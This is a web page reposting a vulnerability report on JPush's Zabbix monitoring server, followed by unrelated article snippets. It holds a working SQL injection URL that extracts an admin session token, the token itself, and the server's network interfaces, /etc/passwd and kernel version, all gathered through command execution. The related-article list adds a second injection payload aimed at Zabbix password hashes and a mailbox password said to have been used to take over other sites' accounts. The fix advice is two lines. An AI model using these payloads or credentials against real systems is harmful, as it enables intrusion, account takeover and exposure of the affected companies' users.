位置:首页 » 技术 » 极光推送之zabbix注入导致命令执行

极光推送之zabbix注入导致命令执行

日期:2014-11-02 阅读:1num
Advertisement

极光推送,英文简称 JPush,是一个面向普通开发者开放的,免费的第三方消息推送服务。

#1

问题所在:http://zabbix.jpush.cn

极光推送之zabbix注入导致命令执行

#测试代码

http://zabbix.jpush.cn//httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

返回:

Error in query [INSERT INTO profiles (profileid, userid, idx, value_id, type) VALUES (12018, 2, 'web.httpmon.applications', 2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a), 1)] [Duplicate entry '0086eb7b19dea42045a784545edf52d0~1~0~1' for key 'group_key']

#3

命令执行,探测内网

Result of "uname"

eth0 Link encap:Ethernet HWaddr 00:21:F6:32:A8:01 

inet addr:183.232.25.235 Bcast:183.232.25.255 Mask:255.255.255.224 

inet6 addr: fe80::221:f6ff:fe32:a801/64 

Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 

Metric:1 RX packets:457326664 errors:0 dropped:0 overruns:0 frame:0 TX packets:406907959 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:136547528023 (127.1 GiB) TX bytes:57723265171 (53.7 GiB) Interrupt:24 

eth1 Link encap:Ethernet HWaddr 00:21:F6:32:A8:02 

inet addr:192.168.250.193 Bcast:192.168.255.255 Mask:255.255.248.0 inet6 addr: fe80::221:f6ff:fe32:a802/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:12586741647 errors:0 dropped:0 overruns:0 frame:0 TX packets:10997429294 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2801281413779 (2.5 TiB) TX bytes:1574494276143 (1.4 TiB) Interrupt:23 

lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:53910779 errors:0 dropped:0 overruns:0 frame:0 TX packets:53910779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:39732267608 (37.0 GiB) TX bytes:39732267608 (37.0 GiB)
root:x:0:0:root:/root:/bin/bash 

bin:x:1:1:bin:/bin:/sbin/nologin 

daemon:x:2:2:daemon:/sbin:/sbin/nologin 

adm:x:3:4:adm:/var/adm:/sbin/nologin 

lp:x:4:7:lp:/var/spool/

lpd:/sbin/nologin 

sync:x:5:0:sync:/sbin:/bin/sync 

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 

operator:x:11:0:operator:/root:/sbin/nologin 

games:x:12:100:games:/usr/games:/sbin/nologin 

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin 

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 

nobody:x:99:99:Nobody:/:/sbin/nologin 

dbus:x:81:81:System message bus:/:/sbin/nologin 

rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin 

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 

abrt:x:173:173::/etc/abrt:/sbin/nologin 

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin 

ntp:x:38:38::/etc/ntp:/sbin/nologin 

saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin 

avahi:x:70:70:Avahi mDNS/DNS-SD 

Stack:/var/run/avahi-daemon:/sbin/nologin 

rpcuser:x:29:29:RPC Service User:/var/lib/

nfs:/sbin/nologin 

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin 

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 

tcpdump:x:72:72::/:/sbin/nologin 

oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin admin:x:603:100::/home/admin:/bin/bash 

zabbix:x:605:605::/home/zabbix:/sbin/nologin 

push:x:601:100::/home/push:/bin/bash 

mysql:x:27:27::/home/mysql:/sbin/nologin 

nginx:x:501:501::/home/nginx:/sbin/nologin 

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin 

nslcd:x:65:55:LDAP Client User:/:/sbin/nologin 

ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin 

sqlgrey:x:498:498:SQLgrey Server:/var/lib/sqlgrey:/sbin/nologin 

Linux nfjd-zabbixserver-193.jpushoa.com 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

修复方案:

1.限制外部IP访问

2.升级版本

相关文章
  • 极光推送之zabbix注入导致命令执行 极光推送之zabbix注入导致命令执行

    极光推送,英文简称 JPush,是一个面向普通开发者开放的,免费的第三方消息推送服务. #1 问题所在:http://zabbix.jpush.cn #测试代码 http://zabbix.jpush.cn//httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28session

  • 爱奇艺PPS之ZabbixSQL注入导致命令执行,可渗透PPS主站 爱奇艺PPS之ZabbixSQL注入导致命令执行,可渗透PPS主站

    爱奇艺PPS之ZabbixSQL注入导致命令执行,可渗透PPS主站~~ 右上角已经证明属于PPS,而已其内部正式使用,几乎可影响全线业务主机. 命令执行 已证实与pps.tv属于同一网段,未深入. 修复方案: 1.网络访问限制 2.限制guest 3.升级版本

  • 盛大广告ZabbixSQL注入导致命令执行及修复 盛大广告ZabbixSQL注入导致命令执行及修复

    盛大广告 Zabbix地址 http://zabbix.sa.snyu.com/ guest没禁用 先用guest直接登陆 然后来到这里 检测发现报错 尝试构造语句注入 httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIM

  • 极光推送系统邮箱弱密码导致重置任意用户帐号密码 极光推送系统邮箱弱密码导致重置任意用户帐号密码

    mail.jpush.cn 邮箱:[email protected] 密码:1234qwer 极光推送系统邮箱弱密码,导致重置任意用户帐号密码.珍爱网,去哪儿等躺枪. 网站自动发送邮件的邮箱. 通过网站找回密码功能找回珍爱网帐号,然后在邮箱的发送邮件中找到重置密码链接重置密码登录其帐号. 还发现了qunar 网的注册信息.这里就不重置密码了. 修复方案: 修改密码

  • [深圳] [极光推送] 招聘高级/资深移动开发工程师

    先感谢v2ex,让我招到了一个又一个志同道合的小伙伴,这次来这里希望能够招到一个高级/资深的移动开发工程师. 楼主现在在深圳一家做云服务的公司,叫做 [极光推送] (https://www.jpush.cn) ,公司在年初刚刚经历了数千万美金的B轮融资,在高速发展中.我们的主要业务是为各大App厂商提供推送服务,此外我们还有着IM服务,可以让你的App迅速地接入聊天功能.目前我们现在已经接入几万的APP,连接了10亿用户,每天百亿次的API访问. 目前我是公司的CTO, 负责整个公司的技术团队,

  • 极光推送 sdk 集成 所有推送 与别名标签推送 极光推送 sdk 集成 所有推送 与别名标签推送

    极光推送 sdk 集成 全部推送 与别名标签推送 SDK集成步骤 1.导入 SDK 开发包到你自己的应用程序项目 解压缩 jpush-sdk_v1.x.y.zip 集成压缩包 复制 libs/jpush-sdk-release1.x.y.jar 到工程 libs/ 目录下 复制 libs/armeabi/libjpush.so 到工程 libs/armeabi 目录下 如果您的项目有 libs/armeabi-v7a 这个目录,请把 libjpush.so 也复制一份到这个目录. 2.配置 An

  • 极光推送CTO黄鑫:技术人要建立自己的知识图谱 极光推送CTO黄鑫:技术人要建立自己的知识图谱

    EGO是高端技术人聚集和交流的组织,每周我们都会对一位会员进行人物专访,在展示会员风采的同时,也分享会员们对技术.对工作.对人生的感悟,本周,我们邀请到了极光推送CTO兼首席科学家黄鑫. 扎实的底层服务是扩张关键 极光推送是一个做第三方云服务的公司,在最开始的时候做的是JPush,就是通过云服务的方式,为所有的APP提供一种推送的能力.现在,我们同时也启动了多款产品,包括聊天.支付.数据分析平台等. 我对公司的规划,是希望有很多横向的服务,这也是为什么在Push之外,我们要做IM.Pay的原因.

  • 极光推送 5 大新产品闪耀亮相

    2015 年 11 月 19 日, GITC2015 全球互联网技术大会在北京国家会议中心盛大开幕. GITC 是目前国内规模最大.资源最成熟的移动互联网技术交流平台.极光推送应邀出席大会,并首次集中展示了旗下五大系列产品. JPush :推送功能全面升级 解决开发者的痛点,把产品做到极致,是极光推送团队孜孜不倦的追求.在原有推送功能的基础上,极光将推送再次升级. 推送不到短信到 由于网络.用户设置等原因, APP 推送的消息无法送达用户时,推送平台可根据开发者事先设置的条件(例如,当推送信息

  • 2015 极光推送移动互联信息安全沙龙 [深圳站]

    2015 极光推送移动互联信息安全沙龙 中国移动智能终端规模已达 12.4 亿台,平均每个用户安装应用数量在 40 个以上.应用软件的频繁使用,信息安全和隐私泄露防不胜防. 道高一尺魔高一丈,创业公司如何权衡成本投入与数据安全? 大数据时代,企业如何实现数据分析与用户隐私的完美平衡? 传统行业向移动互联转型之路安全漏洞频发,如何防范风险? 极光推送.腾讯.全国律协委员.多备份的信息安全专家为您现场解析! 一.沙龙主题 共筑移动互联网信息安全体系 二.时间地点 时间: 2015 年 10 月 15

  • 极光推送获得千万美金 B 轮融资

    近日,国内最大的第三方推送服务提供商极光推送宣布完成千万美金B轮融资,本次融资由复星昆仲领投,IDG和Mandra Capital跟投.极光推送CEO王小导表示,本轮融资将主要用于研发.基础设施建设及市场推广等方面. 未来,极光推送将在专注于为开发者带来稳定.及时的推送服务的基础上,陆续发布更多功能和产品来帮助开发者提升运营效率. 作为国内最早的推送服务商,极光推送已在3年时间里搭建起一个高度稳定和可扩展的云端架构,适用于数十亿用户,每日数百亿次请求,在可预见的未来,这种高扩展的云端能力将为开发

  • [深圳招聘][极光推送] 云服务产品经理

    工作职责: 参与极光推送服务的社区维护.需求收集.产品定义. 职位要求: 1.2 年以上 Java 或者 C/C++ 编程经验: 2.对行业有深刻的理解和认识,对市场格局的现状和未来有独到的见解: 3.有很好的大局观,能站在全局思考问题,明确各产品的定位和阶段性目标: 4.对互联网.移动互联网产品与服务有热情.有想法: 5.对客户服务有正确的认知,有良好的沟通能力: 6.具有一定的美感,熟练了解基本的交互设计原则: 7.有丰富互联网编程工作经验者优先:做过有较多下载量的应用程序的作者优先:有互联

  • 极光推送 504 了,出了什么问题?

    正在测试推送功能,突然app收不到任何通知了,还以为代码有问题,检测了下想着看看推送日志,结果发现官方主页都504了= =这是要整哪样 --cut-- freeznet在2014-06-08 00:17:1回答到: 昨天还在纠结到底是用百度云推送还是极光推送,最后还是选了极光推送,结果今天就504,有种想改回百度的冲动了. alexapollo在2014-06-08 00:24:5回答到: 送数据给信鸽推送吧! freeznet在2014-06-08 00:53:0回答到: 测试了一下,发现所有

  • [深圳] 极光推送(JPush) IM JS SDK 招聘 Javascript 高手

    http://blog.jpush.cn/join-us/ 简单介绍:极光推送是 App 推送领域开发者的首选.近期我们开放 IM SDK,同时提供 Web 版本.Web IM 一方面要提供 SDK,供桌面与手机上嵌入 Web 页面. 工作职责: Web 聊天 SDK 与 Client. 职位要求: 1.Javascript 编程 1 年以上,能够脱离各JS类库后熟练的进行跨浏览器开发: 2.至少能够熟练使用一门非 Web前段脚本的语言(如 Java/Python/PHP),并有项目经验: 3.

  • JPush 极光推送寻资深 iOS 开发工程师、 Web 开发工程师、前端开发工程师、数据挖掘工程师、数据分析师、数据产品经理 JPush 极光推送寻资深 iOS 开发工程师、 Web 开发工程师、前端开发工程师、数据挖掘工程师、数据分析师、数据产品经理

    我们是这样的一个公司:成立于 2012 年,是国内最早的以第三方消息推送服务供应商, SDK 安装量累计超过 20 亿次,覆盖近 10 亿台 Android 和 iOS 移动终端,日推送消息量超过 5 亿条. Jpush 的占有率均接近 40 %,处于绝对领先地位. 2015 年公司以推送业务为依托深耕大数据平台,形成了独具特色的五大产品. JPush(极光推送). JMessage(极光通讯). JPay (极光支付). JAD(极光广告). DMP(极光大数据),全力打造移动应用一站式开发者

  • 极光推送和百度推送哪个好点?求支招

    大家有用过百度推送和极光推送的吗?哪个能好点? 百度目前支持5000qps,永久免费,http://push.baidu.com 极光免费600qps,超过了要付费,https://www.jpush.cn 需求要满足1000qps,如果用极光肯定是要付费的,而且极光的价格也不低,百度没用过,不知道怎么样,求支招 --cut-- loveuqian在2016-05-09 01:39:58回答到: 自己写一个233333 rockagen在2016-05-09 01:39:58回答到: 别用bai

  • [深圳][极光推送 JPush]寻一名 Web 开发主管

    [0] Web开发是个永无止境的事情,功能实现,代码优化,产品迭代,技术更迭,希望你我都了解这样的事情. [1] 我 毕业至今一直在互联网公司工作,M年Web开发,N年算法数据经验,外加一点点不算太深,但是绝不弱的产品经验.2014年离开了工作了三年的豆瓣来到深圳.现在任极光推送的CTO,负责公司的产品研发工作. 作为至今仍然每天坚持写代码的我,相信至少比深圳这个城市90%的CTO更能理解你的诉求和成长. 工作上,你汇报给我,但是我会100%尊重你的意见和技术选型. 私下里,我愿意和你,团队的每

  • 极光推送:APP怎样实现精细化运营战略 极光推送:APP怎样实现精细化运营战略

    APP的运营越发趋于精细化,如何实现精细化,却难倒一众运营人员.在这里极光推送和大家分享一下精细化运营战略. 提到精细化,就不得不提到另外一个词汇--大数据.因为正是有了大数据的海量数据储备和精准分析能力,才能够实现真正的精细化运营.下面,我们将从预测.推送.投放.线下引流四个方面来剖析怎样通过大数据来实现精细化运营. 极光大数据与精准预测 极光推送大数据,可以对App用户的喜好与期望进行精准的预测.预测谁会喜欢这个广告,预测某一个用户他最喜欢哪一款商品,哪部分用户会对这款App产生兴趣或需求.

  • 极光推送张虎:“推送”是一个被低估的市场 极光推送张虎:“推送”是一个被低估的市场

    说到"推送",一般人会想起什么?手机上此起彼伏"嘟"的提示:"您有一封新邮件"."微博有5条新回复"."有20个应用可升级"."深圳明天有雷暴",这些都是推送,但不全面.推送的应用场景有很多,几乎一切会弹出对话框出来的信息都需要用到推送技术. "你可以隔一段时间在电脑上刷邮箱查看有没有新邮件,也可以刷一个科技博客看有没有更新文章,但在移动端这种方式不大可行.移动端,人们的时间都

  • php推送例子(第三方极光推送)

    php是脚本语言所以在即时聊天中发挥不好,特别是用php当服务器向手机推送信息时,如果信息量有一点多,就会造成php服务器压力山大,不过我们也可用第三方极光推送 我们只需要在极光网站上申请,然后就appkey记录下来,写在代码里我这里是在thinkphp中测试的 代码如下 复制代码 <?php class ApipostAction extends Action{ /** * 模拟post进行url请求 * @param string $url * @param string $param */

  • 极光推送-安卓Demo 极光推送-安卓Demo

    极光推送---安卓Demo 对于一个一直干.net的程序媛来说,冷不丁的让小编干安卓,那种感觉就好似小狗狗咬小刺猬一样,不知道从哪儿开始下手,对于小编来说,既是挑战更是机遇,因为知识都是相通的,再者来说,在小编的程序人生中,留下最珍贵的记忆,虽然以后小编不一定从事安卓这个行业,代码世界里,很多种事,有的甜蜜,有的温馨,有的婉转成歌,有的绵延不息,在这些故事里,我们唯一的共通之处就是,某年,某月,某个波澜不惊的日子里,曾经很爱很爱你!爱你--这段实习的日子里,安卓带给小编的种种的惊喜. 接下来,小

最新文章
  • SwipeBackLayout源码解析 SwipeBackLayout源码解析

    Github: SwipeBackLayout 分析版本: e4ddae6 SwipeBackLayout 是一个仿 IOS 通过手势退出界面的开源库. SwipeBackLayout SwipeBackLayout 可以通过在左.右和下边缘来拖动整个 Activity 达到退出 Activity 的效果. 使用 添加到 Gradle : compile 'me.imid.swipebacklayout.lib:library:1.0.0' 继承 SwipeBackActivity : publ

  • vim在ubuntu11.10下代码突然显示空白的问题

    各位有没有遇到过,我现在是经常遇到,经常是敲着敲着就出现代码区域一片空白或乱行的情况,但并不是真的乱了,此时只要执行一下全选,然后再退出选择,又可以显示正常.但用一会儿后又反复出现,真的很纠结. --cut-- yesmeck在2011-10-26 18:00:0回答到: ctrl+shift+l Vim在2011-10-26 18:41:5回答到: Vim 还是 gVim? 看看是不是设置了 lines zzxworld在2011-10-27 10:51:5回答到: @Vim 的确设置了lin

  • 夏天如何防腹泻 夏天如何防腹泻

    夏天已经悄无声息的来到了我们身边,7月6日进入了小暑节气,天气会越来越热,如此高温,不仅仅会让人的食欲下降,也会使人的抵抗力降低.而在夏季人们所喜欢吃的烧烤.冷饮.冰镇水果更是让脆弱的肠胃负荷增大,很容易使肠道受损,造成腹泻. 腹泻会让人体虚弱不堪,更有甚者会导致肠道感染发炎,那么夏季我们应该如何去预防腹泻呢?本站小编今天就和大家一起探索一下如何预防腹泻. NO.1:尽量避免在路边小摊吃东西 夏季了,很多人都会在傍晚时分吃着路边烧烤,喝着啤酒来消暑.但是因为卫生关系,很多路边小摊的食品并不卫生.

  • 变Win 2003为工作站

    相对于工作站系统,windows server 2003由于做了更多的内核优化,所以在稳定性和安全性方面有很大的提高.但是, 很多人并不是需要Server的全部功能的,而且Server系统关闭了某些工作站系统所需要的服务,下面,我们将对如何优化windows server 2003并转换成一个工作站系统做出一些介绍. 1.禁用配置服务器向导 由于不需要服务器设置功能,首先我们先禁止"配置你的服务器"(Manage Your Server)向导的出现,你可以在控制面板(Control P

  • 节前装修和节后装修的优劣度大比拼

    一.节前装修的好处: 临近春节,有不少刚刚买了新房的朋友想利用这7天长假装修自己的新房,但又怕春节前装修影响质量,其实完全不用担心,来看看春节前装修房子的好处吧! 1.设计更充分 很多消费者认为装修设计是一个很简单的事,但是,一套设计方案从开始策划到最后确定,至少需要两周的时间,所以,如果房主打算过了春节装修,那么,最好利用好春节前这段时间,和设计师把方案敲定,这样过了春节就可以施工了. 2.材料准备更充分 定好设计方案,只是完成了装修工程的第一步.第二步就是选定主材了.如果能叫上个懂行的人利用

  • 分析网络歌手歌曲推广优势与策略

    核心提示:网络是无国界的,无论你在何时何地,都能通过网络了解最新的全球信息,只要你想, 歌曲歌手的信息,能迅速传播,而且用户还可以通过网络随时了解歌手歌曲的最新信息. 如今互联网是传播信息的主流方式之一,互联网有传播广,无地域,速度快的优势,现在很多歌曲的流行都来源于网络,"素有网络先行,然后流行的趋势",比如早期的"东北人不是活雷锋","大学生自习课","丁香花","老鼠爱大米""求佛"

  • Jquery基础之hide,show,toggle Jquery基础之hide,show,toggle

    1.认识JQurey,在上面的博文中有提到,实现同样的效果,引用jquery可以减少很多代码.jquery的宗旨就是write less,do more,这就好比我们能够借用jquey这个强大的javascript库来减少我们的代码量.搭建jquery环境也比较简单,一个是下载jquery文件库到本地引用,还有一个直接引用文件库的URL,这里提供一个1.9.0的地址: <meta content="text/html; charset=utf-8" http-equiv=&quo

  • 中国行政区域边界kml 中国行政区域边界kml

    中国行政区边界kml 中国行政区边界kml 这里是4分之一. 分国家 省 市 县级 上传速度太慢 到此下载 http://www.unmspace.com/forum.php?mod=viewthread&tid=8&page=1#pid1157 这个可能国内反问不到.http://casuallybrowsing.blogspot.com/ [email protected] 1 楼 ye_guanwen 2012-03-29 恩.. 少了嘛?我用的时候还不少呢. 难道我弄丢了? 下次把

  • 怎么实现在输入收件人后弹出下拉菜单?

    如何实现在输入收件人后弹出下拉菜单?? 如何实现在输入收件人后弹出下拉菜单 ------解决方案-------------------- 是像百度.谷歌之类的提示吧.可能要用到AJAX

  • JSTL和EL介绍

    JSTL规范介绍 ------------------------------------------------ JSTL: * JSTL即JSP Standard Tag Library的缩写 * 一些常用的JSP标签 * 和MVC框架结合使用很方便,如果struts.spring mvc * 不是JSP 1.2,2.0,2.1规范的一部分,需要单独下载.下表是servlet.jsp.jstl.j2ee规范的对应关系: Servlet Version JSP Version JSTL Ver

热门推荐
  • 捕捉仙女座恒星爆炸瞬间     如同精美烟花散开 捕捉仙女座恒星爆炸瞬间 如同精美烟花散开 据媒体报道,赫歇尔空间望远镜拍摄了仙女座星系迄今最精细的红外波段图像,让科学家见到其中正在形成的恒星:而XMM-牛顿望远镜拍摄的X射线波段图像则展现了垂死的老年恒星发出的强烈X射线. 这几个波段的图像已经可以揭示出恒星完整的演化历程 M31仙女座星系星系和银河系非常相似,两者都含有上千亿颗恒星.而在此次拍摄的迄今最精细远红外图像上,科学家们知道仍然有大量的"婴儿"恒星正在诞生. 很多星系都是漩涡状的,但是仙女座星系显得与众不同.因为它在距离核心约75000光年的地方有一个巨型的尘埃环.
  • win10多显示器可以设置不同的桌面背景吗 win10多显示器可以设置不同的桌面背景吗 具体步骤如下: 1.把壁纸图片统一放到一个文件夹下,路径随意 2.选中所有壁纸(Ctrl+A) 3.在任意一张壁纸上点击右键,选择"设置为桌面背景" 然后你就可以看到系统为每台显示器分配壁纸的情况了.如果你的Win10电脑有三台以上的显示器,可以尝试采用不同的壁纸数目进行试验,看看在壁纸数目少于或大于显示器数目的情况下,系统如何分配壁纸.
  • TF家族加入优酷分享计划 花美男神童玩转乐坛 TF家族加入优酷分享计划 花美男神童玩转乐坛 当90后的俊男美女还没有在乐坛站稳脚跟时,00后的童星们已经开始摩拳擦掌跃跃欲试了!近日,几个来自TF家族的正太通过在优酷上传一系列翻唱的视频,强大的唱功使点击量迅速飙升,而清秀阳光的外表更是虏获了大批粉丝的芳心,真可谓是"声色俱厉". TF家族是国内第一个参照日韩等模式培养偶像明星的培训机构,以重庆为起点,成功起步招收了第一批训练生,并通过初期选拔---签约练习生---培训几个阶段进行新艺人培养.目前打造团队为由三个正太组成的 TF BOYS,成员包括王俊凯.王源.易烊千玺,其中年级
  • 详细解说IIS应用程序池以及运用程序池回收AppPool第1/2页 详细解说IIS应用程序池以及运用程序池回收AppPool第1/2页 因为应用程序池中的应用程序与其他应用程序被工作进程边界分隔,所以某个应用程序池中的应用程序不会受到其他应用程序池中应用程序所产生的问题的影响. Windows 2003同时支持两种工作模式,默认为ISS 6.0工作进程隔离模式.工作进程隔离模式防止一个应用程序或站点停止了而影响另一个应用程序或站点,大大增强了IIS的可靠性.那么如何设置两种工作模式呢? 启动IIS管理器,右击网站,选择"属性",打开属性对话框(图1). 在IIS 6.0工作进程隔离模式下,所有的应用程序代码都在隔离环境
  • Eclipse代码字体、色彩美化,更改字体大小、颜色 Eclipse代码字体、色彩美化,更改字体大小、颜色 Eclipse代码字体.颜色美化,更改字体大小.颜色 先看效果: 感觉如何,是否比你的eclipse编辑器显示的代码要漂亮简洁呢?呵呵.这个是我原来ADT Eclipse的效果,现在去下居然更新掉了,找不到了.于是我就参照我原来的配置对这个新的Eclipse进行了配置.我这里只介绍下需要改动的地方 原来的Eclipse字体大的大,小的小,难看死了!! 1.修改Eclipse字体 在菜单windows-->prefereces里面,找到General-->Appearance-->Colo